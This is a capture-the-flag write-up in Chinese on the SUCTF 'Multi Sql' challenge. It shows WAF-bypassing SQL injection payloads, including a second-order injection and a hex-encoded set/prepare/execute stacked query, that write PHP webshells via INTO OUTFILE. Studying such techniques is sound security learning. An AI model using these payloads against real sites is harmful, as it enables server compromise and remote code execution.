前言
比赛已经过去了一个多月了,由于一直忙于期末复习,现在才有时间好好整理一下题目的知识点。suctf 是我们大一的萌新们继强网杯之后集体参与的第二场线上赛,依靠学长们的超强实力,我们最后荣获第二名,而我依然只能划划水,但是比起之前的毫无头绪,这一次起码可以有一点点思路了。那么接下来说一下这道题目吧。
Multi Sql
拿过来看一下题目大致结构,是一个只有用户注册、登陆、信息查看、头像上传 四个功能的简单平台。那么很容易想到这四个功能可能对应的漏洞——sql注入,文件上传。结合题目的名字基本可以判断是sql注入了。
首先测试登陆处有没有万能密码,发现并不行。然后尝试注册的时候在用户名后面加单引号,登陆的时候发现也没什么问题。(这里是因为自己粗心没有好好观察了)
随即发现查询用户信息的地方存在注入点:
http://localhost:8888/user/user.php?id=26
数字型注入,waf过滤很严格,and/or/|/&/union/select 都被过滤了,不过可以用 ^ 和 mid 进行注入。
在github 上找到这个题目框架的字段名
然后盲注跑出了admin帐号的密码是admin123,结果登陆上去发现并没有啥用。
后来官方放出hint,说还是要getshell的,于是我就傻乎乎的去尝试文件上传了,彻底走歪。
后来可乐学长发现存在二次注入,位置如下:
if (!isset($SESSION['user_id'])) {
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'{$_SESSION['user_name']}'";//二次注入的位置
$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['DWVS_user_id'];
}
再加上发现 into 、outfile 没有被过滤,于是可以写shell。用来储存头像的地方有写文件的权限。于是这样进行构造:
首先注册个用户名为的用户。
再注册个用户名为‘into outfile’/var/www/html/favicon/c.php 的用户
登陆后会查询这个用户的信息,于是就执行了
select* from users where username = '<?=`$_POST[c]`;?>'into outfile'/var/www/html/favicon/c1.php'
成功写入一个shell。flag就在根目录下。
后来才知道这个是个非预期的做法。在官方放出的docker里面也是把这个非预期修复了。
下面学习一下正解。
前面的流程都是一样的,然后读文件,发现 user.php 中使用的是 mysqli_multi_query 函数,这个函数是可以执行多语句的。那么就可以利用 set + hex 编码的方式绕过 waf 了。
set @num=0x73656C656374207573657228293B;prepare sql from @num;execute sql;
执行结果:
Query OK, 0 rows affected (0.01 sec)
Query OK, 0 rows affected (0.00 sec)
Statement prepared
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
解释一下:
先使用 set 定义一个 用户变量 用户变量的生命周期会持续到连接中断,这就保证了我们可以在其他语句中使用这个变量的值。然后我们需要把这个值,作为 mysql 语句执行,那么就需要一个类似于 eval() 的东西。而在mysql 中,需要通过预处理语句实现。
prepare sql from @num; #预定义一个语句
execute sql; #执行这个语句
于是我们只需要把
select '<?php eval(c) ?>' into outfile '/var/www/html/favicon';
用 hex 处理一下,然后按照上面的方法注入,就可以写入一个 shell 了。